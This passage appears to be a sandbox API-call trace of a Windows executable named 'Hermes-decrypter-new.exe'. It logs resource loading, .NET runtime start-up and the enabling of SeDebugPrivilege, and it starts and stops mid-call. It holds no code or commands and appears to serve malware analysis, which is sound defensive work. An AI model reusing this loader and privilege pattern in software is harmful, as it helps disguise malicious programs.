\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x10\x49\x03\xf6\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0138.617] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x423980, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.618] GetLastError () returned 0x0 [0138.618] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.619] SetLastError (dwErrCode=0x0) [0138.619] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x2b) returned 0x2c81768 [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.620] SetLastError (dwErrCode=0x0) [0138.620] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.621] GetLastError () returned 0x0 [0138.621] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] GetLastError () returned 0x0 [0138.622] SetLastError (dwErrCode=0x0) [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x94) returned 0x2c817a0 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1f) returned 0x2c81840 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x28) returned 0x2c81868 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x37) returned 0x2c81898 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x3c) returned 0x2c818d8 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x31) returned 0x2c81920 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x14) returned 0x2c81960 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x24) returned 0x2c81980 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xd) returned 0x2c819b0 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c819c8 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x2b) returned 0x2c819e8 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x15) returned 0x2c81a20 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c81a40 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x22) returned 0x2c81a60 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xe) returned 0x2c81a90 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xc1) returned 0x2c81aa8 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x3e) returned 0x2c81b78 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1b) returned 0x2c81bc0 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1d) returned 0x2c81be8 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x48) returned 0x2c81c10 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81c60 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x18) returned 0x2c81c80 [0138.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1b) returned 0x2c81ca0 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x24) returned 0x2c81cc8 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x29) returned 0x2c81cf8 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1e) returned 0x2c81d30 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x6b) returned 0x2c81d58 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x17) returned 0x2c81dd0 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0xf) returned 0x2c81df0 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x16) returned 0x2c81e08 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x28) returned 0x2c81e28 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x27) returned 0x2c81e58 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81e88 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x21) returned 0x2c81ea8 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x10) returned 0x2c81ed8 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x1c) returned 0x2c81ef0 [0138.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x12) returned 0x2c81f18 [0138.623] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c80fd0 | out: hHeap=0x2c80000) returned 1 [0138.623] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75e90000 [0138.623] GetProcAddress (hModule=0x75e90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ea5960 [0138.623] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0138.624] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x80) returned 0x2c81f38 [0138.624] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x800) returned 0x2c81fc0 [0138.624] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4123af) returned 0x0 [0138.625] RtlSizeHeap (HeapHandle=0x2c80000, Flags=0x0, MemoryPointer=0x2c81f38) returned 0x80 [0138.625] OleInitialize (pvReserved=0x0) returned 0x0 [0138.626] GetCurrentProcess () returned 0xffffffff [0138.627] GetCurrentProcess () returned 0xffffffff [0138.627] GetCurrentProcess () returned 0xffffffff [0138.628] GetCurrentProcess () returned 0xffffffff [0138.629] GetCurrentProcess () returned 0xffffffff [0138.630] GetCurrentProcess () returned 0xffffffff [0138.630] GetCurrentProcess () returned 0xffffffff [0138.631] GetCurrentProcess () returned 0xffffffff [0138.631] GetCurrentProcess () returned 0xffffffff [0138.632] GetCurrentProcess () returned 0xffffffff [0138.632] GetCurrentProcess () returned 0xffffffff [0138.634] GetCurrentProcess () returned 0xffffffff [0138.635] GetCurrentProcess () returned 0xffffffff [0138.635] GetCurrentProcess () returned 0xffffffff [0138.636] GetCurrentProcess () returned 0xffffffff [0138.637] GetCurrentProcess () returned 0xffffffff [0138.695] GetLastError () returned 0x0 [0138.695] SetLastError (dwErrCode=0x0) [0138.695] GetLastError () returned 0x0 [0138.695] SetLastError (dwErrCode=0x0) [0138.695] GetLastError () returned 0x0 [0138.695] SetLastError (dwErrCode=0x0) [0138.695] GetLastError () returned 0x0 [0138.695] SetLastError (dwErrCode=0x0) [0138.695] GetCurrentProcessId () returned 0xc14 [0138.695] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0xc14) returned 0x15c [0138.697] Module32First (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.698] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.698] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.699] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.699] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.700] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.700] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.701] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.701] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.714] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.715] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.715] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.716] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.716] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.717] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.717] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.718] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.718] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.719] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.720] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.720] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.721] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.721] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.722] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0138.722] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 0 [0138.723] CloseHandle (hObject=0x15c) returned 1 [0138.723] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0138.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0138.723] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x6) returned 0x2aa09e0 [0138.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0x2aa09e0, cchWideChar=3 | out: lpWideCharStr="__") returned 3 [0138.723] CharUpperBuffW (in: lpsz="__", cchLength=0x3 | out: lpsz="__") returned 0x3 [0138.724] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x6) returned 0x2aa0ad0 [0138.724] CharUpperBuffW (in: lpsz="__", cchLength=0x2 | out: lpsz="__") returned 0x2 [0138.725] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x18) returned 0x2aa0520 [0138.725] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x4) returned 0x2aa0a70 [0138.726] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa0ad0 | out: hHeap=0x2aa0000) returned 1 [0138.726] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa09e0 | out: hHeap=0x2aa0000) returned 1 [0138.726] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x2df5c) returned 0x2ab0048 [0138.730] LockResource (hResData=0x2ab0048) returned 0x2ab0048 [0138.730] SizeofResource (hModule=0x400000, hResInfo=0x2aa0524) returned 0x2df5c [0138.730] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x2df5c) returned 0x2c90048 [0138.731] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x40022) returned 0x2cbdfb0 [0138.736] SizeofResource (hModule=0x400000, hResInfo=0x2aa0524) returned 0x2df5c [0138.738] FreeResource (hResData=0x2ab0048) returned 0 [0138.738] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x3f00e) returned 0x2cfdfe0 [0138.739] SizeofResource (hModule=0x400000, hResInfo=0x2aa0524) returned 0x2df5c [0138.740] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x2530) returned 0x2d3cff8 [0138.743] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2d3cff8 | out: hHeap=0x2c80000) returned 1 [0138.743] LoadLibraryA (lpLibFileName="mscoree.dll") returned 0x744c0000 [0138.781] GetCurrentProcess () returned 0xffffffff [0138.782] GetCurrentProcess () returned 0xffffffff [0138.782] GetCurrentProcess () returned 0xffffffff [0138.783] GetCurrentProcess () returned 0xffffffff [0138.784] GetCurrentProcess () returned 0xffffffff [0138.791] GetProcAddress (hModule=0x744c0000, lpProcName="CLRCreateInstance") returned 0x744d5000 [0138.792] GetCurrentProcess () returned 0xffffffff [0138.793] GetCurrentProcess () returned 0xffffffff [0138.794] GetCurrentProcess () returned 0xffffffff [0138.794] GetCurrentProcess () returned 0xffffffff [0138.794] GetCurrentProcess () returned 0xffffffff [0138.796] GetCurrentProcess () returned 0xffffffff [0138.797] GetCurrentProcess () returned 0xffffffff [0138.798] GetCurrentProcess () returned 0xffffffff [0138.799] GetCurrentProcess () returned 0xffffffff [0138.799] GetCurrentProcess () returned 0xffffffff [0138.800] GetCurrentProcess () returned 0xffffffff [0138.801] GetCurrentProcess () returned 0xffffffff [0138.801] GetCurrentProcess () returned 0xffffffff [0138.802] GetCurrentProcess () returned 0xffffffff [0138.802] GetCurrentProcess () returned 0xffffffff [0138.803] GetCurrentProcess () returned 0xffffffff [0138.804] GetCurrentProcess () returned 0xffffffff [0138.807] GetCurrentProcess () returned 0xffffffff [0138.808] GetCurrentProcess () returned 0xffffffff [0138.808] GetCurrentProcess () returned 0xffffffff [0138.809] GetCurrentProcess () returned 0xffffffff [0138.809] GetCurrentProcess () returned 0xffffffff [0138.817] GetCurrentProcess () returned 0xffffffff [0138.817] GetCurrentProcess () returned 0xffffffff [0138.820] GetCurrentProcess () returned 0xffffffff [0138.820] GetCurrentProcess () returned 0xffffffff [0138.821] GetCurrentProcess () returned 0xffffffff [0138.821] GetCurrentProcess () returned 0xffffffff [0138.822] GetCurrentProcess () returned 0xffffffff [0138.822] GetCurrentProcess () returned 0xffffffff [0138.823] lstrlenA (lpString="v4.0.30319") returned 10 [0138.823] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2cfdfe0, cbMultiByte=11, lpWideCharStr=0x19fc18, cchWideChar=11 | out: lpWideCharStr="v4.0.30319") returned 11 [0138.862] GetCurrentProcess () returned 0xffffffff [0138.863] GetCurrentProcess () returned 0xffffffff [0138.863] GetCurrentProcess () returned 0xffffffff [0138.864] GetCurrentProcess () returned 0xffffffff [0138.865] GetCurrentProcess () returned 0xffffffff [0138.865] GetCurrentProcess () returned 0xffffffff [0138.866] GetCurrentProcess () returned 0xffffffff [0138.866] GetCurrentProcess () returned 0xffffffff [0138.867] GetCurrentProcess () returned 0xffffffff [0138.868] GetCurrentProcess () returned 0xffffffff [0138.868] GetCurrentProcess () returned 0xffffffff [0138.869] GetCurrentProcess () returned 0xffffffff [0138.870] GetCurrentProcess () returned 0xffffffff [0138.871] GetCurrentProcess () returned 0xffffffff [0138.871] GetCurrentProcess () returned 0xffffffff [0138.872] GetCurrentProcess () returned 0xffffffff [0138.873] GetCurrentProcess () returned 0xffffffff [0138.873] GetCurrentProcess () returned 0xffffffff [0138.886] GetCurrentProcess () returned 0xffffffff [0138.887] GetCurrentProcess () returned 0xffffffff [0138.888] GetCurrentProcess () returned 0xffffffff [0138.888] GetCurrentProcess () returned 0xffffffff [0138.931] GetCurrentProcess () returned 0xffffffff [0138.933] GetCurrentProcess () returned 0xffffffff [0138.933] GetCurrentProcess () returned 0xffffffff [0138.954] GetCurrentProcess () returned 0xffffffff [0138.955] GetCurrentProcess () returned 0xffffffff [0139.222] GetCurrentProcess () returned 0xffffffff [0139.223] GetCurrentProcess () returned 0xffffffff [0139.297] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c80fe8 [0139.297] GetCurrentProcess () returned 0xffffffff [0139.298] GetCurrentProcess () returned 0xffffffff [0139.299] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x80010106 [0139.299] GetCurrentProcess () returned 0xffffffff [0139.300] GetCurrentProcess () returned 0xffffffff [0139.300] RoInitialize () returned 0x1 [0139.300] GetCurrentProcess () returned 0xffffffff [0139.301] GetCurrentProcess () returned 0xffffffff [0139.301] RoUninitialize () returned 0x0 [0139.303] GetCurrentProcess () returned 0xffffffff [0139.303] GetCurrentProcess () returned 0xffffffff [0139.340] SafeArrayAccessData (in: psa=0xec1d88, ppvData=0x19fae8 | out: ppvData=0x19fae8) returned 0x0 [0139.340] SafeArrayUnaccessData (psa=0xec1d88) returned 0x0 [0139.439] GetCurrentProcess () returned 0xffffffff [0139.440] GetCurrentProcess () returned 0xffffffff [0139.440] SafeArrayGetDim (psa=0xec1d88) returned 0x1 [0139.440] SafeArrayGetDim (psa=0xec1d88) returned 0x1 [0139.440] GetCurrentProcess () returned 0xffffffff [0139.441] GetCurrentProcess () returned 0xffffffff [0139.442] SafeArrayGetLBound (in: psa=0xec1d88, nDim=0x1, plLbound=0x19f86c | out: plLbound=0x19f86c) returned 0x0 [0139.442] GetCurrentProcess () returned 0xffffffff [0139.442] GetCurrentProcess () returned 0xffffffff [0139.443] SafeArrayGetVartype (in: psa=0xec1d88, pvt=0x19f7dc | out: pvt=0x19f7dc) returned 0x0 [0139.456] GetCurrentProcess () returned 0xffffffff [0139.457] GetCurrentProcess () returned 0xffffffff [0139.458] GetCurrentProcess () returned 0xffffffff [0139.458] GetCurrentProcess () returned 0xffffffff [0139.459] GetCurrentProcess () returned 0xffffffff [0139.459] GetCurrentProcess () returned 0xffffffff [0139.460] GetCurrentProcess () returned 0xffffffff [0139.462] GetCurrentProcess () returned 0xffffffff [0139.463] GetCurrentProcess () returned 0xffffffff [0139.463] GetCurrentProcess () returned 0xffffffff [0139.464] GetCurrentProcess () returned 0xffffffff [0139.466] GetCurrentProcess () returned 0xffffffff [0139.466] GetCurrentProcess () returned 0xffffffff [0139.467] GetCurrentProcess () returned 0xffffffff [0139.468] GetCurrentProcess () returned 0xffffffff [0139.469] GetCurrentProcess () returned 0xffffffff [0139.469] GetCurrentProcess () returned 0xffffffff [0139.472] GetCurrentProcess () returned 0xffffffff [0139.472] GetCurrentProcess () returned 0xffffffff [0139.631] SysStringByteLen (bstr="_._") returned 0x6 [0139.644] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x0) returned 0xec21a8 [0139.644] SysStringByteLen (bstr="___") returned 0x6 [0139.656] GetCurrentProcess () returned 0xffffffff [0139.656] GetCurrentProcess () returned 0xffffffff [0139.657] GetCurrentProcess () returned 0xffffffff [0139.658] GetCurrentProcess () returned 0xffffffff [0139.833] GetCurrentProcess () returned 0xffffffff [0139.833] GetCurrentProcess () returned 0xffffffff [0139.894] GetCurrentProcess () returned 0xffffffff [0139.894] GetCurrentProcess () returned 0xffffffff [0139.987] GetCurrentProcess () returned 0xffffffff [0139.987] GetCurrentProcess () returned 0xffffffff [0140.837] CoTaskMemAlloc (cb=0x8) returned 0xee9858 [0140.940] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x19cae4 | out: lpLuid=0x19cae4*(LowPart=0x14, HighPart=0)) returned 1 [0140.942] GetCurrentProcess () returned 0xffffffff [0140.942] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x19cae0 | out: TokenHandle=0x19cae0*=0x2f4) returned 1 [0140.942] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2e95320*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0140.943] CloseHandle (hObject=0x2f4) returned 1 [0140.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc14) returned 0x2f4 [0140.949] GetCurrentProcess () returned 0xffffffff [0140.950] GetCurrentProcess () returned 0xffffffff [0140.951] GetCurrentProcess () returned 0xffffffff [0140.952] GetCurrentProcess () returned 0xffffffff [0140.954] GetModuleInformation (in: hProcess=0x2f4, hModule=0x400000, lpmodinfo=0x2e954a4, cb=0xc | out: lpmodinfo=0x2e954a4*(lpBaseOfDll=0x400000, SizeOfImage=0x8d5000, EntryPoint=0x839a87)) returned 1 [0140.955] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0140.955] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0140.956] CoTaskMemFree (pv=0xeedc10) [0140.956] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0140.956] GetModuleFileNameExW (in: hProcess=0x2f4, 